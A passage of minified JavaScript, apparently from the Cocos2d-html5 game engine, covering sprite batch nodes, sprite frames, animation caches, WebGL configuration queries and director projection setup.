- h.width=e.width*c;h.height=e.height*d;if(this.Kb||this.Lb)a.save(),this.Kb&&(k=-g.x-e.width,a.scale(-1,1)),this.Lb&&(m=g.y,a.scale(1,-1));k*=c;m*=d;this.I&&p.ln?(f=this.I.Oa,this.dr?a.drawImage(f,0,0,p.width,p.height,k,m,h.width,h.height):a.drawImage(f,p.x,p.y,p.width,p.height,k,m,h.width,h.height)):!this.I&&p.ln&&(h=this.color,a.fillStyle="rgba("+h.r+","+h.g+","+h.b+",1)",a.fillRect(k,m,f.width*c,f.height*d));1===b.bk||this.pD?(a.strokeStyle="rgba(0,255,0,1)",k/=c,m=-(m/d),k=[b.d(k,m),b.d(k+e.width,
- m),b.d(k+e.width,m-e.height),b.d(k,m-e.height)],b.ye.Vd(k,4,!0)):2===b.bk&&(a.strokeStyle="rgba(0,255,0,1)",c=this.ia,m=-m,k=[b.d(k,m),b.d(k+c.width,m),b.d(k+c.width,m-c.height),b.d(k,m-c.height)],b.ye.Vd(k,4,!0));(this.Kb||this.Lb)&&a.restore();b.lf++}},b.pa.Bw||(n.Zd=function(){var a,c=this.I,d=this.sm;c&&d.ln&&this.jc&&(a=c.Oa)&&(c=b.Ea.sx(this.jc.Oa))&&(this.dr=!0,a instanceof HTMLCanvasElement&&!this.Ac&&!this.Pv?b.Qm(a,c,this.Ba,d,a):(a=b.Qm(a,c,this.Ba,d),c=new b.da,c.Rc(a),c.sb(),this.texture=
- c))}),delete n):(b.assert("function"===typeof b.H.PA,b.f.fd,"SpritesWebGL.js"),b.H.PA(),delete b.H.PA);b.assert("function"===typeof b.H.Zz,b.f.fd,"SpritesPropertyDefine.js");b.H.Zz();delete b.H.Zz;b.iz=29;
- b.te=b.m.extend({textureAtlas:null,s:null,xd:null,ub:"SpriteBatchNode",$Z:function(a,c,d){b.assert(a,b.f.MT);if(!(a instanceof b.D))return b.log(b.f.LT),null;a.atlasIndex=c;var e=0,f=this.xd;if(f&&0<f.length)for(var g=0;g<f.length;g++){var h=f[g];h&&h.atlasIndex>=c&&++e}f.splice(e,0,a);b.m.prototype.M.call(this,a,c,d);this.sP(!1);return this},gF:function(){return this.textureAtlas},vG:function(a){a!=this.textureAtlas&&(this.textureAtlas=a)},b1:function(){return this.xd},dl:function(a,c){var d=b.Ea.cl(a);
- d||(d=b.Ea.Dc(a));return this.sa(d,c)},ri:function(){this.rg=!0},ba:function(a,c){var d=b.Ea.cl(a);d||(d=b.Ea.Dc(a));return this.sa(d,c)},Ex:function(){var a=this.textureAtlas.capacity,c=Math.floor(4*(a+1)/3);b.log(b.f.NT,a,c);this.textureAtlas.$F(c)||b.log(b.f.OT)},u4:function(a,c){this.removeChild(this.u[a],c)},jP:function(a,c){var d=a.children;if(d&&0<d.length)for(var e=0;e<d.length;e++){var f=d[e];f&&0>f.zIndex&&(c=this.jP(f,c))}!a==this&&(a.atlasIndex=c,c++);if(d&&0<d.length)for(e=0;e<d.length;e++)(f=
- d[e])&&0<=f.zIndex&&(c=this.jP(f,c));return c},oF:function(a){var c=a.children;return c&&0!=c.length?this.oF(c[c.length-1]):a.atlasIndex},B3:function(a){var c=a.children;return c&&0!=c.length?this.B3(c[c.length-1]):a.atlasIndex},t_:function(a,c){var d=a.parent,e=d.children,f=e.indexOf(a),g=null;0<f&&f<b.RI&&(g=e[f-1]);return d==this?0==f?0:this.oF(g)+1:0==f?0>c?d.atlasIndex:d.atlasIndex+1:0>g.zIndex&&0>c||0<=g.zIndex&&0<=c?this.oF(g)+1:d.atlasIndex+1},sP:function(a){this.Rd=a},pe:function(a,c){this.s=
- void 0===c?a:{src:a,R:c}},Gh:function(){return this.s},Lp:function(a,c){b.assert(a,b.f.RT);-1===this.u.indexOf(a)?b.log(b.f.QT):c!==a.zIndex&&(b.m.prototype.Lp.call(this,a,c),this.Ia())},removeChild:function(a,c){null!=a&&(-1===this.u.indexOf(a)?b.log(b.f.PT):(this.cn(a),b.m.prototype.removeChild.call(this,a,c)))},ZX:null,Uk:null,B$:!1,jc:null,ctor:null,fr:function(a,c){b.m.prototype.ctor.call(this);var d;c=c||b.iz;"string"==typeof a?(d=b.Ea.cl(a))||(d=b.Ea.Dc(a)):a instanceof b.da&&(d=a);d&&this.sa(d,
- c)},gr:function(a,c){b.m.prototype.ctor.call(this);this.ZX=new b.ca;var d;c=c||b.iz;"string"==typeof a?(d=b.Ea.cl(a))||(d=b.Ea.Dc(a)):a instanceof b.da&&(d=a);d&&this.sa(d,c)},EQ:null,NZ:function(a,c){b.assert(a,b.f.gR);a instanceof b.D?(a.batchNode=this,a.atlasIndex=c,a.dirty=!0,a.Se()):b.log(b.f.fz)},OZ:function(a,c){b.assert(a,b.f.fz);if(a instanceof b.D){for(var d=this.textureAtlas.capacity;c>=d||d==this.textureAtlas.totalQuads;)this.Ex();a.batchNode=this;a.atlasIndex=c;a.dirty=!0;a.Se()}else b.log(b.f.fz)},
- Tk:function(a,c){var d=this.xd,e=this.textureAtlas,f=e.quads,g=d[a],h=b.TI(f[a]);d[c].atlasIndex=a;d[a]=d[c];e.Wy(f[c],a);d[c]=g;e.Wy(h,c)},Jx:null,GX:function(a,c){b.assert(a,b.f.dR);a instanceof b.D?(a.batchNode=this,a.atlasIndex=c,a.dirty=!0,a.Se(),a.mw(this),this.u.splice(c,0,a)):b.log(b.f.cR)},HX:function(a,c){b.assert(a,b.f.fU);if(a instanceof b.D){for(var d=this.textureAtlas;c>=d.capacity||d.capacity===d.totalQuads;)this.Ex();a.batchNode=this;a.atlasIndex=c;d.xF(a.quad,c);a.dirty=!0;a.Se()}else b.log(b.f.eU)},
- oM:function(a,c){var d=0,e=a.children;e&&(d=e.length);var f=0;if(0===d)f=a.atlasIndex,a.atlasIndex=c,a.arrivalOrder=0,f!=c&&this.Tk(f,c),c++;else{f=!0;0<=e[0].zIndex&&(f=a.atlasIndex,a.atlasIndex=c,a.arrivalOrder=0,f!=c&&this.Tk(f,c),c++,f=!1);for(d=0;d<e.length;d++){var g=e[d];f&&0<=g.zIndex&&(f=a.atlasIndex,a.atlasIndex=c,a.arrivalOrder=0,f!=c&&this.Tk(f,c),c++,f=!1);c=this.oM(g,c)}f&&(f=a.atlasIndex,a.atlasIndex=c,a.arrivalOrder=0,f!=c&&this.Tk(f,c),c++)}return c},Nf:function(){this.textureAtlas.texture.Ai()||
- (this.s.src=b.SRC_ALPHA,this.s.R=b.ONE_MINUS_SRC_ALPHA)},sa:null,XB:function(a){this.u=[];this.xd=[];this.s=new b.bc(b.ac,b.$b);this.Uk=this.jc=a;return!0},YB:function(a,c){this.u=[];this.xd=[];this.s=new b.bc(b.ac,b.$b);c=c||b.iz;this.textureAtlas=new b.Wh;this.textureAtlas.sa(a,c);this.Nf();this.shaderProgram=b.Hd.nc(b.Vi);return!0},wF:function(a,c){a.batchNode=this;a.atlasIndex=c;a.dirty=!0;var d=this.textureAtlas;d.totalQuads>=d.capacity&&this.Ex();d.xF(a.quad,c);this.xd.splice(c,0,a);var d=c+
- 1,e=this.xd;if(e&&0<e.length)for(;d<e.length;d++)e[d].atlasIndex++;var e=a.children,f;if(e)for(d=0,l=e.length||0;d<l;d++)(f=e[d])&&this.wF(f,this.t_(f,f.zIndex))},appendChild:null,GV:function(a){this.Rd=!0;a.batchNode=this;a.dirty=!0;this.xd.push(a);a.atlasIndex=this.xd.length-1;a=a.children;for(var c=0,d=a.length||0;c<d;c++)this.appendChild(a[c])},HV:function(a){this.Rd=!0;a.batchNode=this;a.dirty=!0;this.xd.push(a);var c=this.xd.length-1;a.atlasIndex=c;var d=this.textureAtlas;d.totalQuads==d.capacity&&
- this.Ex();d.xF(a.quad,c);a=a.children;c=0;for(d=a.length||0;c<d;c++)this.appendChild(a[c])},cn:null,BY:function(a){a.batchNode=null;var c=this.xd,d=c.indexOf(a);if(-1!=d){c.splice(d,1);for(var e=c.length;d<e;++d)c[d].atlasIndex--}if(a=a.children)for(c=0,d=a.length||0;c<d;c++)a[c]&&this.cn(a[c])},CY:function(a){this.textureAtlas.rP(a.atlasIndex);a.batchNode=null;var c=this.xd,d=c.indexOf(a);if(-1!=d){c.splice(d,1);for(var e=c.length;d<e;++d)c[d].atlasIndex--}if(a=a.children)for(c=0,d=a.length||0;c<
- d;c++)a[c]&&this.cn(a[c])},Ca:null,vr:function(){return this.Uk},SB:function(){return this.textureAtlas.texture},Ya:null,mD:function(a){this.Uk=a;for(var c=this.u,d=0;d<c.length;d++)c[d].texture=a},nD:function(a){this.textureAtlas.texture=a;this.Nf()},U:null,zm:function(a){var c=a||b.l;if(this.Zb){c.save();this.transform(a);var d=this.u;if(d)for(this.Sc(),a=0;a<d.length;a++)d[a]&&d[a].U(c);c.restore()}},ps:function(a){a=a||b.l;if(this.Zb){b.Gj();var c=this.grid;c&&c.nf()&&(c.xs(),this.Ty());this.Sc();
- this.transform(a);this.Z(a);c&&c.nf()&&c.ts(this);b.Fj();this.arrivalOrder=0}},M:null,WA:function(a,c,d){b.assert(null!=a,b.f.aR);a instanceof b.D?(c=null==c?a.zIndex:c,d=null==d?a.tag:d,b.m.prototype.M.call(this,a,c,d),this.appendChild(a),this.Ia()):b.log(b.f.ZQ)},CV:function(a,c,d){b.assert(null!=a,b.f.YT);a instanceof b.D?a.texture!=this.textureAtlas.texture?b.log(b.f.XT):(c=null==c?a.zIndex:c,d=null==d?a.tag:d,b.m.prototype.M.call(this,a,c,d),this.appendChild(a),this.Ia()):b.log(b.f.WT)},Xf:null,
- zY:function(a){var c=this.xd;if(c&&0<c.length)for(var d=0,e=c.length;d<e;d++)c[d]&&(c[d].batchNode=null);b.m.prototype.Xf.call(this,a);this.xd.length=0},AY:function(a){var c=this.xd;if(c&&0<c.length)for(var d=0,e=c.length;d<e;d++)c[d]&&(c[d].batchNode=null);b.m.prototype.Xf.call(this,a);this.xd.length=0;this.textureAtlas.oP()},Sc:null,tZ:function(){if(this.Rd){var a,c=0,d=this.u,e=d.length,f;for(a=1;a<e;a++){var g=d[a],c=a-1;for(f=d[c];0<=c&&(g.Bb<f.Bb||g.Bb==f.Bb&&g.arrivalOrder<f.arrivalOrder);)d[c+
- 1]=f,c-=1,f=d[c];d[c+1]=g}0<d.length&&this.qg(d,b.m.wf.Sc);this.Rd=!1}},uZ:function(){if(this.Rd){var a=this.u,c,d=0,e=a.length,f;for(c=1;c<e;c++){var g=a[c],d=c-1;for(f=a[d];0<=d&&(g.Bb<f.Bb||g.Bb==f.Bb&&g.arrivalOrder<f.arrivalOrder);)a[d+1]=f,d-=1,f=a[d];a[d+1]=g}if(0<a.length)for(this.qg(a,b.m.wf.Sc),c=d=0;c<a.length;c++)d=this.oM(a[c],d);this.Rd=!1}},Z:null,aj:function(){0!==this.textureAtlas.totalQuads&&(this.Eb.Ic(),this.Eb.Re(),this.qg(this.u,b.m.wf.Se),b.Kg(this.s.src,this.s.R),this.textureAtlas.kN())}});
- n=b.te.prototype;b.B===b.W?(n.ctor=n.gr,n.EQ=n.OZ,n.Jx=n.HX,n.sa=n.YB,n.appendChild=n.HV,n.cn=n.CY,n.Ca=n.SB,n.Ya=n.nD,n.U=n.ps,n.M=n.CV,n.Xf=n.AY,n.Sc=n.uZ,n.Z=n.aj):(n.ctor=n.fr,n.EQ=n.NZ,n.Jx=n.GX,n.sa=n.XB,n.appendChild=n.GV,n.cn=n.BY,n.Ca=n.vr,n.Ya=n.mD,n.U=n.zm,n.Xf=n.zY,n.M=n.WA,n.Sc=n.tZ,n.Z=b.m.prototype.Z);b.j(n,"texture",n.Ca,n.Ya);b.j(n,"descendants",n.b1);b.te.create=function(a,c){return new b.te(a,c)};b.te.BE=b.te.create;b.WQ=b.D.extend({Wd:null,Xd:null,ctor:function(){b.D.prototype.ctor.call(this);var a=document.createElement("canvas");a.width=a.height=10;this.Wd=a;this.Xd=a.getContext("2d");var c=new b.da;c.Rc(a);c.sb();this.Ya(c)},dca:function(){return this.Xd},cca:function(){return this.Wd},vP:function(a,c){void 0===c&&(c=a.height,a=a.width);var d=this.Wd;d.width=a;d.height=c;this.Ca().sb();this.qb(b.rect(0,0,a,c),!1)}});b.ig=b.oa.extend({Jo:null,Nd:0,Uo:null,ctor:function(a,c,d){this.Jo=a||null;this.Nd=c||0;this.Uo=d||null},k:function(){var a=new b.ig;a.Ci(this.Jo.k(),this.Nd,this.Uo);return a},ex:function(){return b.k(this)},copy:function(){var a=new b.ig;a.Ci(this.Jo.k(),this.Nd,this.Uo);return a},Ci:function(a,c,d){this.Jo=a;this.Nd=c;this.Uo=d;return!0},Cj:function(){return this.Jo},ql:function(a){this.Jo=a},rca:function(){return this.Nd},Kja:function(a){this.Nd=a},pea:function(){return this.Uo},ola:function(a){this.Uo=
- a}});b.ig.create=function(a,c,d){return new b.ig(a,c,d)};
- b.Qi=b.oa.extend({Od:null,gj:0,km:!1,p:0,Nd:0,vi:0,ctor:function(a,c,d){this.Od=[];if(void 0===a)this.tO(null,0);else{var e=a[0];e&&(e instanceof b.ue?this.tO(a,c,d):e instanceof b.ig&&this.Fx(a,c,d))}},Oca:function(){return this.Od},Wja:function(a){this.Od=a},gE:function(a){var c=new b.ig;c.Ci(a,1,null);this.Od.push(c);this.vi++},L$:function(a){a=b.Ea.Dc(a);var c=b.rect(0,0,0,0);c.width=a.width;c.height=a.height;a=b.ue.create(a,c);this.gE(a)},M$:function(a,c){var d=b.ue.create(a,c);this.gE(d)},Fx:function(a,
- c,d){b.us(a,b.ig);this.Nd=c;this.gj=void 0===d?1:d;this.vi=0;c=this.Od;for(d=c.length=0;d<a.length;d++){var e=a[d];c.push(e);this.vi+=e.Nd}return!0},k:function(){var a=new b.Qi;a.Fx(this.tJ(),this.Nd,this.gj);a.Iy(this.km);return a},ex:function(){var a=new b.Qi;a.Fx(this.tJ(),this.Nd,this.gj);a.Iy(this.km);return a},tJ:function(){for(var a=[],c=0;c<this.Od.length;c++)a.push(this.Od[c].k());return a},copy:function(){return this.ex(null)},eda:function(){return this.gj},ika:function(a){this.gj=a},Iy:function(a){this.km=
- a},Ida:function(){return this.km},np:function(){return this.vi*this.Nd},qca:function(){return this.Nd},Jja:function(a){this.Nd=a},iea:function(){return this.vi},tO:function(a,c,d){b.us(a,b.ue);this.gj=void 0===d?1:d;this.Nd=c||0;this.vi=0;c=this.Od;c.length=0;if(a){for(d=0;d<a.length;d++){var e=a[d],f=new b.ig;f.Ci(e,1,null);c.push(f)}this.vi+=a.length}return!0},uy:function(){},Mi:function(){}});b.Qi.create=function(a,c,d){return new b.Qi(a,c,d)};b.Qi.zaa=b.Qi.create;b.Uw={Kn:{},xM:function(a,c){this.Kn[c]=a},Sia:function(a){a&&this.Kn[a]&&delete this.Kn[a]},zN:function(a){return this.Kn[a]?this.Kn[a]:null},BV:function(a,c){var d=a.animations;if(d){var e=1,f=a.properties;if(f)for(var e=null!=f.format?parseInt(f.format):e,f=f.spritesheets,g=b.rl,h=b.path,k=0;k<f.length;k++)g.ZZ(h.$o(c,f[k]));switch(e){case 1:this.pY(d);break;case 2:this.qY(d);break;default:b.log(b.f.k_)}}else b.log(b.f.j_)},E$:function(a){b.assert(a,b.f.s_);var c=b.V.Cd(a);c?this.BV(c,a):b.log(b.f.r_)},
- pY:function(a){var c=b.rl,d;for(d in a){var e=a[d],f=e.frames,e=parseFloat(e.delay)||0,g=null;if(f){for(var g=[],h=0;h<f.length;h++){var k=c.Cj(f[h]);if(k){var m=new b.ig;m.Ci(k,1,null);g.push(m)}else b.log(b.f.m_,d,f[h])}0===g.length?b.log(b.f.n_,d):(g.length!=f.length&&b.log(b.f.o_,d),g=b.Qi.create(g,e,1),b.Uw.xM(g,d))}else b.log(b.f.l_,d)}},qY:function(a){var c=b.rl,d;for(d in a){var e=a[d],f=parseInt(e.loops),f=e.loop?b.Dq:isNaN(f)?1:f,g=e.restoreOriginalFrame&&!0==e.restoreOriginalFrame?!0:!1,
- h=e.frames;if(h){for(var k=[],m=0;m<h.length;m++){var p=h[m],q=p.spriteframe,r=c.Cj(q);if(r){var q=parseFloat(p.delayUnits)||0,p=p.notification,t=new b.ig;t.Ci(r,q,p);k.push(t)}else b.log(b.f.q_,d,q)}e=parseFloat(e.delayPerUnit)||0;h=new b.Qi;h.Fx(k,e,f);h.Iy(g);b.Uw.xM(h,d)}else b.log(b.f.p_,d)}},qk:function(){this.Kn={}}};b.ue=b.oa.extend({wa:null,Gk:null,Ee:null,ge:!1,ia:null,zg:null,Hf:null,I:null,Oo:"",ma:!1,pv:null,ctor:function(a,c,d,e,f){this.wa=b.d(0,0);this.zg=b.d(0,0);this.Gk=b.size(0,0);this.ge=!1;this.Hf=b.size(0,0);this.Oo="";this.I=null;this.ma=!1;void 0!==a&&void 0!==c&&(void 0===d||void 0===e||void 0===f?this.sa(a,c):this.sa(a,c,d,e,f))},wt:function(){return this.ma},Td:function(a,c){null==this.pv&&(this.pv=[]);this.pv.push({Eh:a,Rf:c})},Md:function(){var a=this.pv;if(a){for(var c=0,d=a.length;c<d;c++){var e=
- a[c];e.Eh.call(e.Rf,this)}a.length=0}},M1:function(){var a=this.Ee;return b.rect(a.x,a.y,a.width,a.height)},Fka:function(a){this.Ee||(this.Ee=b.rect(0,0,0,0));this.Ee.x=a.x;this.Ee.y=a.y;this.Ee.width=a.width;this.Ee.height=a.height;this.ia=b.ml(a)},$ea:function(){return this.ge},Hka:function(a){this.ge=a},Jh:function(){var a=this.ia;return b.rect(a.x,a.y,a.width,a.height)},WP:function(a){this.ia||(this.ia=b.rect(0,0,0,0));this.ia.x=a.x;this.ia.y=a.y;this.ia.width=a.width;this.ia.height=a.height;
- this.Ee=b.mt(this.ia)},D1:function(){return b.d(this.zg)},qka:function(a){this.zg.x=a.x;this.zg.y=a.y;b.AC(this.zg,this.wa)},sda:function(){return b.size(this.Hf)},tka:function(a){this.Hf.width=a.width;this.Hf.height=a.height},pp:function(){return b.size(this.Gk)},ska:function(a){this.Gk.width=a.width;this.Gk.height=a.height},Ca:function(){if(this.I)return this.I;if(""!==this.Oo){var a=b.Ea.Dc(this.Oo);a&&(this.ma=a.ic);return a}return null},Ya:function(a){if(this.I!=a){var c=a.ic;this.ma=c;this.I=
- a;c||a.Td(function(a){this.ma=!0;if(this.ge&&b.B===b.Aa){var c=a.Oa,c=b.EE(c,this.Jh()),f=new b.da;f.Rc(c);f.sb();this.Ya(f);c=this.Jh();this.WP(b.rect(0,0,c.width,c.height))}c=this.ia;0===c.width&&0===c.height&&(c=a.width,a=a.height,this.ia.width=c,this.ia.height=a,this.Ee=b.mt(this.ia),this.Hf.width=this.Ee.width,this.Hf.height=this.Ee.height,this.Gk.width=c,this.Gk.height=a);this.Md()},this)}},Um:function(){return b.d(this.wa)},Fy:function(a){this.wa.x=a.x;this.wa.y=a.y},k:function(){var a=new b.ue;
- a.sa(this.Oo,this.Ee,this.ge,this.zg,this.Hf);a.Ya(this.I);return a},ex:function(){var a=new b.ue;a.sa(this.Oo,this.Ee,this.ge,this.zg,this.Hf);a.Ya(this.I);return a},copy:function(){return this.ex()},sa:function(a,c,d,e,f){2===arguments.length&&(c=b.mt(c));e=e||b.d(0,0);f=f||c;d=d||!1;"string"==typeof a?(this.I=null,this.Oo=a):a instanceof b.da&&this.Ya(a);a=this.Ca();this.Ee=c;c=this.ia=b.ml(c);if(a&&a.url&&a.ic){var g,h;d?(g=c.x+c.height,h=c.y+c.width):(g=c.x+c.width,h=c.y+c.height);g>a.aF()&&
- b.error(b.f.dA,a.url);h>a.$E()&&b.error(b.f.cA,a.url)}this.zg.x=e.x;this.zg.y=e.y;b.AC(e,this.wa);this.Hf.width=f.width;this.Hf.height=f.height;b.$L(f,this.Gk);this.ge=d;return!0}});b.ue.create=function(a,c,d,e,f){return new b.ue(a,c,d,e,f)};b.ue.BE=b.ue.create;b.ue.Z9=function(a,c,d,e,f){var g=new b.ue;g.I=a;g.Ee=c;g.ia=b.ml(c);g.zg.x=e.x;g.zg.y=e.y;b.AC(g.zg,g.wa);g.Hf.width=f.width;g.Hf.height=f.height;b.$L(g.Hf,g.Gk);g.ge=d;return g};b.rl={aJ:/^\s*\{\s*([\-]?\d+[.]?\d*)\s*,\s*([\-]?\d+[.]?\d*)\s*\}\s*$/,pV:/^\s*\{\s*\{\s*([\-]?\d+[.]?\d*)\s*,\s*([\-]?\d+[.]?\d*)\s*\}\s*,\s*\{\s*([\-]?\d+[.]?\d*)\s*,\s*([\-]?\d+[.]?\d*)\s*\}\s*\}\s*$/,wh:{},tj:{},oo:{},AL:function(a){return(a=this.pV.exec(a))?b.rect(parseFloat(a[1]),parseFloat(a[2]),parseFloat(a[3]),parseFloat(a[4])):b.rect(0,0,0,0)},qL:function(a){return(a=this.aJ.exec(a))?b.d(parseFloat(a[1]),parseFloat(a[2])):b.d(0,0)},qD:function(a){return(a=this.aJ.exec(a))?b.size(parseFloat(a[1]),
- parseFloat(a[2])):b.size(0,0)},UW:function(a){var c=b.V.Cd(a);b.assert(c,b.f.e6,a);b.V.Mi(a);if(c.vo)return this.oo[a]=c;var d=c.frames,e=c.metadata||c.meta,c={},f={},g=0;e&&(g=e.format,g=1>=g.length?parseInt(g):g,f.o2=e.textureFileName||e.textureFileName||e.image);for(var h in d){var k=d[h];if(k){e={};if(0==g){e.rect=b.rect(k.x,k.y,k.width,k.height);e.xy=!1;e.offset=b.d(k.offsetX,k.offsetY);var m=k.originalWidth,k=k.originalHeight;m&&k||b.log(b.f.d6);m=Math.abs(m);k=Math.abs(k);e.size=b.size(m,k)}else if(1==
- g||2==g)e.rect=this.AL(k.frame),e.xy=k.rotated||!1,e.offset=this.qL(k.offset),e.size=this.qD(k.sourceSize);else if(3==g){var m=this.qD(k.spriteSize),p=this.AL(k.textureRect);m&&(p=b.rect(p.x,p.y,m.width,m.height));e.rect=p;e.xy=k.textureRotated||!1;e.offset=this.qL(k.spriteOffset);e.size=this.qD(k.spriteSourceSize);e.e_=k.aliases}else m=k.frame,p=k.sourceSize,h=k.filename||h,e.rect=b.rect(m.x,m.y,m.w,m.h),e.xy=k.rotated||!1,e.offset=b.d(0,0),e.size=b.size(p.w,p.h);c[h]=e}}return this.oo[a]={vo:!0,
- frames:c,F3:f}},ZZ:function(a,c){b.assert(a,b.f.g6);var d=this.oo[a]||b.V.Cd(a);if(d&&d.frames){var e=this.oo[a]||this.UW(a),d=e.frames,e=e.F3;c?c instanceof b.da||("string"==typeof c?c=b.Ea.Dc(c):b.assert(0,b.f.h6)):c=b.Ea.Dc(b.path.$o(a,e.o2||".png"));var e=this.tj,f=this.wh,g;for(g in d){var h=d[g],k=f[g];if(!k){k=b.ue.create(c,h.rect,h.xy,h.offset,h.size);if(h=h.e_)for(var m=0,p=h.length;m<p;m++){var q=h[m];e[q]&&b.log(b.f.f6,q);e[q]=g}b.B===b.Aa&&k.ge&&k.Ca().ic&&(h=k.Ca().Oa,h=b.EE(h,k.M1()),
- m=new b.da,m.Rc(h),m.sb(),k.Ya(m),h=k.ia,k.WP(b.rect(0,0,h.width,h.height)));f[g]=k}}}},S9:function(a){a=a.frames;for(var c in a)this.wh[c]&&b.log(b.f.c6,c)},gE:function(a,c){this.wh[c]=a},Yia:function(){this.wh={};this.tj={}},Xia:function(a){a&&(this.tj[a]&&delete this.tj[a],this.wh[a]&&delete this.wh[a])},Zia:function(a){var c=this.wh,d=this.tj;if(a=this.oo[a]){a=a.frames;for(var e in a)if(c[e]){delete c[e];for(var f in d)d[f]==e&&delete d[f]}}},$ia:function(a){var c=this.wh,d=this.tj,e;for(e in c){var f=
- c[e];if(f&&f.Ca()==a){delete c[e];for(var g in d)d[g]==e&&delete d[g]}}},Cj:function(a){var c=this.wh[a];if(!c){var d=this.tj[a];d&&((c=this.wh[d.toString()])||delete this.tj[a])}c||b.log(b.f.i6,a);return c},qk:function(){this.wh={};this.tj={};this.oo={}}};b.cp={Y7:0,Y8:1,INT:2,T7:3,t7:4,Hr:0,XX:0,FD:!1,Gw:!1,DD:!1,ED:!1,GD:!1,l$:0,lC:0,Ju:"",ls:{},vo:!1,Ar:function(){var a=this.ls;a["cocos2d.x.version"]=b.oz;a["cocos2d.x.compiled_with_profiler"]=!1;a["cocos2d.x.compiled_with_gl_state_cache"]=b.Zg;this.vo=!0},jda:function(){return this.Hr},ida:function(){return this.XX},kda:function(){return this.lC},Bla:function(){return this.Gw},Cla:function(){return this.FD},Ala:function(){return!1},Dla:function(){return!1},xla:function(){return!1},yla:function(){return this.DD},
- zla:function(){return this.ED},Ela:function(){return this.GD},ap:function(a){return-1<this.Ju.indexOf(a)},rea:function(a,c){this.vo||this.Ar();var d=this.ls;return d[a]?d[a]:c},qla:function(a,c){this.ls[a]=c},l0:function(){0===b.Zg&&(b.log(""),b.log(b.f.Q_),b.log(""))},Q0:function(){if(b.B!==b.Aa){this.vo||this.Ar();var a=b.l,c=this.ls;c["gl.vendor"]=a.getParameter(a.VENDOR);c["gl.renderer"]=a.getParameter(a.RENDERER);c["gl.version"]=a.getParameter(a.VERSION);this.Ju="";for(var d=a.getSupportedExtensions(),
- e=0;e<d.length;e++)this.Ju+=d[e]+" ";this.Hr=a.getParameter(a.MAX_TEXTURE_SIZE);c["gl.max_texture_size"]=this.Hr;this.lC=a.getParameter(a.MAX_COMBINED_TEXTURE_IMAGE_UNITS);c["gl.max_texture_units"]=this.lC;this.FD=this.ap("GL_IMG_texture_compression_pvrtc");c["gl.supports_PVRTC"]=this.FD;this.Gw=!1;c["gl.supports_NPOT"]=this.Gw;this.DD=this.ap("GL_IMG_texture_format_BGRA888");c["gl.supports_BGRA8888"]=this.DD;this.ED=this.ap("GL_EXT_discard_framebuffer");c["gl.supports_discard_framebuffer"]=this.ED;
- this.GD=this.ap("vertex_array_object");c["gl.supports_vertex_array_object"]=this.GD;b.bp()}},eha:function(a){this.vo||this.Ar();var c=b.V.Cd(a);if(!c)throw"Please load the resource first : "+a;b.assert(c,b.f.S_,a);if(c=c.data)for(var d in c)this.ls[d]=c[d];else b.log(b.f.R_,a)}};b.H.lz=function(){b.V7=b.oa.extend({Vla:function(){}});var a=b.Ua.prototype;a.pl=function(a){var d=this.mc;this.AG();var e=this.lh,f=e.le.x/e.ka,e=e.le.y/e.La;switch(a){case b.Ua.dT:b.of(b.ah);b.fl();f=new b.ca;b.DF(f,0,d.width,0,d.height,-1024,1024);b.zp(f);b.of(b.$g);b.fl();break;case b.Ua.DH:var g=this.up(),h=new b.ca,k=new b.ca;b.of(b.ah);b.fl();b.g3(h,d.width/d.height,2*g);b.zp(h);b.of(b.$g);b.fl();g=b.Bp(null,-f+d.width/2,-e+d.height/2,g);b.CO(k,g,b.Bp(null,-f+d.width/2,-e+d.height/2,0),b.Bp(null,
- 0,1,0));b.zp(k);break;case b.Ua.eT:break;default:b.log(b.f.xR)}this.Sr=a;b.ra.dispatchEvent(this.qv);b.UP()};a.iG=function(a){var d=b.l;a?(d.clearDepth(1),d.enable(d.DEPTH_TEST),d.depthFunc(d.LEQUAL)):d.disable(d.DEPTH_TEST)};a.Gy=function(a){this.mc.width=b.Wa.width;this.mc.height=b.Wa.height;this.lh=a||b.view;a=b.cp;a.Q0();a.l0();this.$n();this.LP();b.ra&&b.ra.qe(!0)};a.qk=function(){var a=b.l;a.clear(a.COLOR_BUFFER_BIT|a.DEPTH_BUFFER_BIT)};a.dB=function(){b.Gj()};a.YA=function(){b.Fj()};a.$n=function(){if(!b.Uh)this.lW();
- else if(null!=b.Ua.qK&&!1!=b.Ua.qK){var a=new b.da;a.Rc(b.Ua.no);a.sb();var d=b.view.VE().height/320;0===d&&(d=this.mc.height/320);var e=new b.Uh;e.eD(!0);e.pd("00.0",a,12,32,".");e.scale=d;this.uf=e;e=new b.Uh;e.eD(!0);e.pd("0.000",a,12,32,".");e.scale=d;this.vf=e;e=new b.Uh;e.eD(!0);e.pd("000",a,12,32,".");e.scale=d;this.Bf=e;a=b.jz;this.Bf.T(a.x,34*d+a.y);this.vf.T(a.x,17*d+a.y);this.uf.T(a)}};a.lW=function(){var a=0,a=this.mc.width>this.mc.height?0|this.mc.height/320*24:0|this.mc.width/320*24;
- this.uf=b.P.create("000.0","Arial",a);this.vf=b.P.create("0.000","Arial",a);this.Bf=b.P.create("0000","Arial",a);a=b.jz;this.Bf.T(this.Bf.width/2+a.x,5*this.Bf.height/2+a.y);this.vf.T(this.vf.width/2+a.x,3*this.vf.height/2+a.y);this.uf.T(this.uf.width/2+a.x,this.uf.height/2+a.y)};a.RM=function(a){var d=new b.ca;b.lH(d);var e=new b.ca;b.f3(e,d);var d=d.c[14]/d.c[15],f=this.lh.VE(),g=new b.tb;b.MO(g,new b.tb(2*a.x/f.width-1,1-2*a.y/f.height,d),e);return b.d(g.x,g.y)};a.SM=function(a){var d=new b.ca;
- b.lH(d);var e=new b.tb;b.MO(e,new b.tb(a.x,a.y,0),d);a=this.lh.VE();return b.d(a.width*(0.5*e.x+0.5),a.height*(0.5*-e.y+0.5))};a.tp=function(){return this.lh.tp()};a.ux=function(){return this.lh.ux()};a.up=function(){return this.mc.height/1.1566};a.AG=function(){var a=this.lh;if(a){var d=this.mc;a.R5(-a.le.x/a.ka,-a.le.y/a.La,d.width,d.height)}};a.F1=function(){return this.lh};a.rp=function(){return this.Sr};a.CP=function(a){a?b.Kg(b.ac,b.$b):b.Kg(b.l.ONE,b.l.ZERO)};a.LP=function(){this.CP(!0);this.iG(!1);
- this.pl(this.Sr);b.l.clearColor(0,0,0,1)}};b.lf=0;b.lH=function(a){var c=new b.ca;b.Ox(b.ah,c);var d=new b.ca;b.Ox(b.$g,d);b.Ei(a,c,d)};
